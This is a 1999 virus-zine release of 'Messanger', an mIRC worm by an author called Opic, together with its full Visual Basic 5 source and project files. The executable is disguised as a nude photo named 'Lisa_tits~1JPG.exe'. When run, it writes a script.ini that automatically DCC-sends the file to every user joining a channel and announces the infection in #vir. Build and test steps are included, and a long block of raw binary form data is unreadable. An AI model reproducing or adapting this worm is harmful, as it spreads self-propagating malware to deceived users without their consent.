*****************************************************************************
Name: Messanger Worm (aka Irc-Worm.Lisa)
Author: Opic
Group: CodeBreakers
date: 1999
Type: Worm (mirc)
Language: Visual Basic 5
size: 26.5kb
Comments:
Yes, this is what happens when I can't sleep
but dont want to do any REAL coding.
Info:
Messanger is sent as a file called "Lisa_tits~1JPG.exe" when this
file is run the program displays a bit of Pr0n and drops a script.ini
file into the c:\mirc directory. The lastest version of mIRC (5.51) will use
this script.ini on the next starting of the program. The script itself assumes
that:
1)Lisa_tits~1JPG.exe is in the default download mirc directory
(c:\mirc\download)
2)That mirc is installed in its default path. May not work with some earlier
versions of mirc (some earlier versions of mirc will auto rename script.ini to
script.old, but this seems not to be the case anymore).
The script added is:
[script]
n0=on 1:JOIN:#: if ( $me != $nick ) { /dcc send $nick c:\mirc\download\
Lisa_Tits~1JPG.exe }
n1=on 1:CONNECT: {
n2= /join #vir
n3= /msg #vir Greets to Opic & the CodeBreakers! Meet another 'Messanger'
infected user!
To test:
1)Have or install mIRC v5.51
2)Place Lisa_tits~1JPG.exe (Messanger) in c:\mirc\download directory and
execute it.
3)This will install the script.ini file in c:\mirc
4)Run mIRC and watch those pr0n lovers gobble jump for joy!
Disinfection:
simply delete script.ini (ie: its safe as all hell to test, and fun at least
to check out the pr0n).
NOTE: all the files needed to make messanger have been put into one txt file
here for the zine, to compile them just cut and paste them into thier own
files (duh).
*****************************************************************************
<-SNIP Messanger.FRM SNIP->
VERSION 5.00
Begin VB.Form Form1
BorderStyle = 1 'Fixed Single
Caption = "Lisa_Tits~1.JPG"
ClientHeight = 4170
ClientLeft = 45
ClientTop = 330
ClientWidth = 2730
Icon = "messanger.frx":0000
LinkTopic = "Form1"
MaxButton = 0 'False
MinButton = 0 'False
ScaleHeight = 4170
ScaleWidth = 2730
StartUpPosition = 3 'Windows Default
Begin VB.PictureBox Picture1
Height = 4215
Left = 0
Picture = "messanger.frx":030A
ScaleHeight = 4155
ScaleWidth = 2715
TabIndex = 0
Top = 0
Width = 2775
End
End
Attribute VB_Name = "Form1"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Private Sub Form_Load()
On Error Resume Next
Kill "c:\mirc\script.ini"
Open "c:\mirc\script.ini" For Output As 1
Print #1, "[script]"
Print #1, "n0=on 1:JOIN:#: if ( $me != $nick ) { /dcc send $nick c:\mirc\download\Lisa_Tits~1JPG.exe }"
Print #1, "n1=on 1:CONNECT: {"
Print #1, "n2= /join #vir"
Print #1, "n3= /msg #vir Greets to Opic & the CodeBreakers! Meet another 'Messanger' infected user!"
Close 1
'Messanger Worm
'(c) Opic [CodeBreakers 1999]
End Sub
<-SNIP Messanger.FRX SNIP->
lt ( @ w wwx w wwwwwwx w wwx ww w w wwxx wwwx www wwwxww wxwp wwx wwww w wxww xx wx wwx ww www xwwxwww www ww p x x xx w xww F lt F JFIF H H C !"$"$ C " B !1"AQaq2#BR$3Cbr%Sc ( !1"A#2Q3aBq ? =U
<}E¤H#6n*l6c^?A~6̶VU&w'$現iHl;kbxd"+85?[8Y_*U7bMM_k72!ǐ@sTYEo٨#5vߦ=Ɇau.?s7Qe.qH9
?0Jp[Zy|G3(ċXdw]팶U4P67 _1"l(b[%6xMU2 Ll #tY,ev岏308$
y4;bӓCz_7Ӳ,٨C rA^Jt`k)cNBDr,"C{
TXU5؞1k@|8RGVϗacg_J
û#|8Hc0p5b̀T6|ܺ&+}&K~_uE ՇOc ]}0Ht
|lI]-4LeRm=+!hpD
qƭCԋ1pu3x]nEdf&#J, Č:r 8 X/ ,l=9q^2W9F]Z`xX&{PMF@,GV8<f\/c/F*)8(+u?5qD}:Wzn.~QJLUpP9[3fY9\ܔn%* wM۳^3Sʹ脚~N]чqAIA%J^187EfܖG@+u5qڃsq{lD^?KN|iyZ f2y0PZ7KcURM.C"(b*;
"X9|ѵ=Cb7
..Ӽ*ŝ`w`Kвv
%\+B _3ȨElA yWƽ+Y4xZspUW7yNV>PC(ir9eMkSM-59k1FVW{K
OBrG#ϚhLf#96-g6tYYLo6O9YJrD;W-[GMKhmseǗvK/) ++$a"Pl֛tf/ V=G{ơG\v8#^Xg2FmQ|NO
#q&G*}G9zX'hm-,`N
XEBЙw8۔G7*>1qwqCQZ2* 7 ❫]y`c~=LY`8$ `2[ slJrRGacQF/9Gt4}92tfJҷV2ɖJ<c'5[%#
RViFK[r5ډhn"HV," o73bǛ\pe!HZ;Yy,]SS_w\0gڢ̞a, u~ L9VFT|ĴV
r:n8"3jj {sq4#Sa̮W!E"Y 3){J++d5AJ\R (
=cn{Yizz=͆1#u [ߊ+qvط酌 8XVF
%zZr! nG?N8?Ҳ5ZU)$H,~`Mק?E< LYd%/4MR=W?0-e0hZKv>.ox2h%Dn[nE O4,Rޛ}Nop%J"bJF
7<)|Ekha+@Kf)sHEÑϡ})3ԝ'j}LI ,|
ls#ZoVhv?9g5YLr(m,ws'Ď2IIjKAwӥ[kQwJw^) z
j]([ZmdGGr|/o|R.c52Y0lУdr/2{S`Ե)S(}IrOԚWI w7X'9", ˪Hb*?cݧeha/#bQOIp7;o5͘г:Q,]7$Ukk9ӓ~'vJ9Z`:{1C6O=ɮRCpSFqx(5.ac-cBLZరnØ4mốDvC[
רÔӊ4~O~Ōh66S5],4сVln~}Afܵ\$tضya5D}|i+zXYO
7ʔ裺+_23nx'1JXlz/KhWa74?`ΰW=L$EVf]n'}
:V IFY @JG郘|?/m 829"G'srZ[do't93{U6ĜSwOʹcn!$}w`&!P8_\ bUWxRKq];L-A*Y3 A$t2YtecE(ײ] SifRTŘ$v(c:lnC)jFEW#ľ+9m$|s][\dޱx$Aiq]oi>:XHҲz),nRD1$gn9[`d'u)AK]B||5G6@#\dN9ok(AA;݄*Ec9Eu9wE'9΄cDl>i/oyo ޟ<@N͈ o/Ob\,o0WFAìYqq?c>e,V%tsMKx<̯B+Jf'ulA
# \JDR-xZ$sRyJ}/ӑ(:PB#8!;ې>dV-Ix>U͔˚>|7h>*ҀFVEc~
le_fԧH旤:'n{C!md ʀq9 "MYeGә)CU3SHvb}hGKkZnPalf")`wψSC6Af2 5eYE>~0 0椂KJeRmVӹb(8],(,q_HLIPş}[ӽ@FDZT9iLŌ A'x]rqz\imn&ǖi
HJomtmG59h2t+)'ʽd).pPu@D;-bW+`yx!+02ϗ/A\X&"baxc˴m.Jŧ2o&m1V&xLYMG(hs/̆*kϯ;h; 7-j]psyf0 fA~XGԜ6Rٌqe-*=G6Z&u0
^N7gU]/
,'ۓ<^tъM-?&{8Xǃbl:}JmʫIv/kr4'
6濞3(8
ihݟ4D;)7"\ ߇̼|'qUW]$Uӎמx3UsI; G{)";!5ĂWg&1mƼz_2+THę&=$}q9?$,6빪edc-i[.Zs*K))=OKE&Dxs}+_3?ɝG>}O|?]|}.촭ԃqW }kI7WdR,}3W0B,+cZ"2=ȫ_-3X5o$6bͩK^HZ_Wd3YJrooJc ǩ$N4h}MXMmjpMH4{H"HyN#d1ݛi]9ćUt~ՙArC6|XJѴdٔ=?å2IG)Yfzc~Ib.[9y
|yW{CfL>9^Ŝʈ7GsZUaJ| uճV
eAIBpcY2(UM.>ǧsOxg6q
R7?OL%ܙi{3o,W$*t8o}*-I(
%V,RXb_u|YsŒG8qfq_06ֵ>ffRi=i ^p0?ƪὈ+˥4Ȑ͝39m,QJ xG\f3u)eHJ,`Bh9` Yo3\4]08~nqP14$lH;3UdN)NZ֜uq+EK4,ſ)_bSYb#0mn*>勶.q3#;]sNT:J"E Hn2E֛TZqm0Y>so<{ŜJ(㿧n
w+;0PckbPW>HM1ac1,,PDIbM{mӀ@Ȯ}=;.42y|ǃކ6h+٪}Gt!ˀv<_{~~UyMK[V-IagjA|nӼYUv&r6v$ߵ
RNj$W!*YRUx=~ޣ*cHݳd*$l,|_^5f(QR/ cN`!"RCh,} Ґ~ zyR3utWrAn&~CNZA?=Lsk95ȡT@;D,eX
ƘG>?|ChG2c=hezaZKy,9f̪Qb!>B
B~7X_WeVi.6 bNslBXK9`T$:|?u|ѓ5"D J܊<^
TF''G;aȠN;y
S))Ĵy|IZ
?
ǒՒD2NӺZ<֫~B$@<+F
m:Ȫ$ڵ7m*t63.NbX!wⷵ)lP&ɿZ9CY#3>˴ 5`E /x!^_D};5Aߒ}%YB[<OokFS$K>)rŁ;EmAf2O
,qA'tǀM$j_**4^1A>{qTlΧ uܣ2y6
8Q ڠF!>(u$r9|e_jo@7Hքr:Me3/eef&bIbO$q1SB
sI'X"*P]QZ_LRzeb*f}E! .;~j劄P
'U5+{]U~u_Z`'~$futYCPr9 Śb boz&wHC#!;E_\:&Hkm˴y?/o=>/ES97dV ]_aaWJD[pE(-
P4 f8 0qJd4mA"y-H_ĹtMTXmE(:SH:j,M8範p'jO-ٺhE1q1T)Ep@gھw?,o!+QʼnaƎ(Uyww&Jr;__\XjH;E?qGʾ-?nspa&U5`(rmiI wQ<ӵ970 =@Y+6۳dyG~jUZE )_c~^
+$֤ho%)Z-PoP"*;A*=K`co)g
د_L9"T}1f]tKd0": ޗ
:nW1!RsBzw퍌!(+x؊u2@YϕVM{GS6m,F|q|)=#$Dr(d;Txg0` LX*M3M4H𥜴V.{_Տoa22L Ϡ7F/:Vi Uu'ģG+9=\؞بTz1dBdr.Mخ+te*
#n÷qBܼLjh`T.=LOi,TQ`zS{r4-pm } dU@-O{*M k~BwK[yg M[@)LyT"p$ꜲȌсD{=`ef(W}C6`,{\y額L~Or23@99q\ g%r1
۵|9]4@f@=+*ʒR@ D~uPE~Oʧ6
eI|F,>Ao}ةciP؟;;od z|/>:3F컬u&Z8r $CR+x>q~tj */nqGVG1N|V&yBUrl>QXmˣ3y:L鞖}cVZBda|ąMFͱ<б:uRKjE!X"EY$McoW>w5yI˙#vB{V@z^%4LFI<(E-Fv0՜8;E؟,Z3S*Pn ,+D˹惃 p;aZ"%9ABEC=xbٓeo }8;b} !uQ`@+Zl.A~ؘO^r>1(zMrh%&wT(Yc<};B\iQ
7Q_މ4IB(@5}Nҗ%54@#m ^K.]KE}p̌?m6iBH|''LDRLc~Ew58nO[!ƞ,MlZ6OՈSJA%*H 4/mHݛ"@sr2+,ApJoNh:kFYtƩY
I2y$'ʑ Pnqsչ3?ݪT+傡Zle*,A>12<ђI2@qHWΕ$A9v-dlxZ6t9KyH bh0.E_ZHѩP[EuW$9aȪ37P{5L,X>C q$
]텆O *<i cU< l]?[Ҷ139RE
b~7-f~xȒ ĺLJ^Os@
ҠMǞ 0~Fi
*DB/ȮWXy" YME0$}*x(C7%ACV*nθ`мh 5G|4+paa _ǰzM/#LJ{mrkLE
4x.!nߙ`w?,7nECձ?fkГ#GBCOf-}!C~9,9"9ǙGeY3F @h6Ǖ|gi'LXH9WX+(FCG:^YX)#wvl!t0fE(sHEU}w7ԏ."1ڞ[ߋ {Vܥl0=zhdkFsU3d#"$
Eq_`<%u&չ%(8k\;05EɚP5
xr5}s}0"6ey0IqٵH} 6uoi'obcwocʅ4v@4EǐG atxs$z81@wmߓufǿ9\b V%o=Zno14{W} l5Sjj|M|SDZ-nHUr4ājxfׂ;5#?_2\4A
=v#-1w ,$Po@_2:Hѕl0Ԇ#%NGF\é{U@~=? `~isi d
ߞ{c-$R5$+$]$ZA~;`1
e1HKбnݎH_βS"x sƄ/'<($k\wtTeIsapHETnr=ِѠ_`m~|CJ!Ѻ~[0ĬѕPyb
rm{7g֝!BpOs2J<LJ\ůk_Ő%p~29MY=E,"O9X2 {cU#w=fwnxaƔ~W n[6E
Wwkk@zi-0[9 #'mt_ 5H=e9eaVsOٸd0B2`#xֲ2tZx1nr/e*HxUmV^
5J0ͤEF
soCI IJw@?ES&y ",bapKPRMp{*~1Z2]LԳэJ*#}wr'VCfH]cS2ث-&cQp1L]1[K= bRc,-SBpM>jGia%0>.Kg>ncٿyPbⷛcq@B.9ae.D+"d >Q[б OlfBZ5/[A!,,PXcά 1 k~@n;Z791*`MO3ab46^tWJ4MUU!D6no1ͭl1)<j #k"ҸYd,V-zҪαf"wqWLC5^VUҒkk
SwffYb$fk(]w Q7,y"y}'ˮÕ39E䲷xƘչX0ls3/,}IiEp;˨
5*Ԑ
|"
yl%ee'kĖ⬾綏
K/Si3晄w<9O7ŋ8|5_Yu,rG$D~zWSHuQMߨpuXt$ƹ}CU5o(00$,nS4
M_\\2O`Yow }/,3iUic-<wfH7b|3IѵI!W͎TMv.:3%GLٹlff.i]C
/N".1֣1GKFWi<2)wn,ZiSU߫jy3tŝFBgO2Z#7@nĩ 7ļJ #6Ǘ1WIaS㵞*lh
ʧskyUXαHw_,XqJHܧPB}]4;>--B$Ua] r~x WA23"wcW
* xb.kQ[0rrXfcXQ |+9ޯSHK!$Yy7bY}y^aL3Z֡CUT
ą^<:kM9t+-ǚerXӏ=~f+7'a\wNwޣGhrۛtiK%yy|ǔ0F/,~^U&UýB/ (?{wƨ*Q/&mW5T&vI[TZ=q$mY1%TH%kۓ IEqOnX<RޑMMrzfjg!OIk;:sZ,đ
\ǾeK.Ŭ( O&TirbRmf녏(.BNlG^x@6oo|{-RE!"$ݖڬ:_Qǚ qtg&EJ+}1ɠyEm_"?HthU$8/W)qznb\RH{Fu+arLe
cwP,?S^g9Hf7{Gh_]ϋ#F<ђʼn @acI:3QLٕ4s祵_jIW&CL <1Ҁ^Jδ׃"̣BJ $՚|)[;X?^P@W;RAdE(,6m ܷߏ|QXS{&!eYJVX迮-
ܞז#j-\8/PNӦfm(HmOlND Ը7ΨJ̟7+0cE>!~S'YuEA6ʶ'9-p n7^
ũ-;4CM`w Awb7ZFI]<{W3XXpCҽoұML9k24O#nE q\>yQHU[|jq' +&hI$~_LY$u$Y,J+(Rjϯ|rč~}CSI#
o;'5ɺ8y+z6͚rMae$!Tϸ8l= 7x{9~O-}c-7QJ1#3t(k0xA^6e xd
}57 ?l")4oess砏OfZFwx~ޒ֣̔%U&7}ǘ=H*}v`iiL9][Pؓ1O6u /rE^G@Jl$[?2`O*dw?Op{wwQb%2\-rp0wV?iӑ(+, qߗg6M|M[r,'Tr5jl 1 Yӥug|iIe)qJn_SWu^ў}[5W;r9r9$ "zkJXd4`yrkˊBOPxd|78<U1mP
yyТ>gG7=
ᦿFpM7q90Ƙlno&"7u0&&BMmA zZTo"ecbNv wf!wS'XX`;Ú)#@sƸ`WKQSDi|Td2Yv sɳOٍgQ3H37&D(Kb}킐4I䱰I'4^XZ T$;ھ{T>|bV X *?犏h:;e$x
,mHd(a͒yOxBXXXYc=pQ0=F6G,,CUa.r9i32)ًzsg["ΠC6#x NޒRI8N`%k -JRI9-ȇr<~Fߑ{#!8d2
5cnrY,)*fvtv酅R~jRtX Qwߓqz"caac/O_/$];ӺfObs:AWG'߿Ҝu1O>ޞ1Q@%rw| )UÜO#%XXX
<-SNIP messanger.VBP SNIP->
Type=Exe
Form=messanger.frm
Reference=*\G{00020430-0000-0000-C000-000000000046}#2.0#0#..\..\..\..\WINDOWS\SYSTEM\StdOle2.tlb#OLE Automation
Startup="Form1"
ExeName32="messanger.exe"
Command32=""
Name="Project1"
HelpContextID="0"
CompatibleMode="0"
MajorVer=1
MinorVer=0
RevisionVer=0
AutoIncrementVer=0
ServerSupportFiles=0
VersionCompanyName="y"
CompilationType=0
OptimizationType=0
FavorPentiumPro(tm)=0
CodeViewDebugInfo=0
NoAliasing=0
BoundsCheck=0
OverflowCheck=0
FlPointCheck=0
FDIVCheck=0
UnroundedFP=0
StartMode=0
Unattended=0
ThreadPerObject=0
MaxNumberOfThreads=1
<-SNIP messanger.VBW SNIP->
Form1 = 44, 44, 359, 368, C, 22, 22, 337, 346, C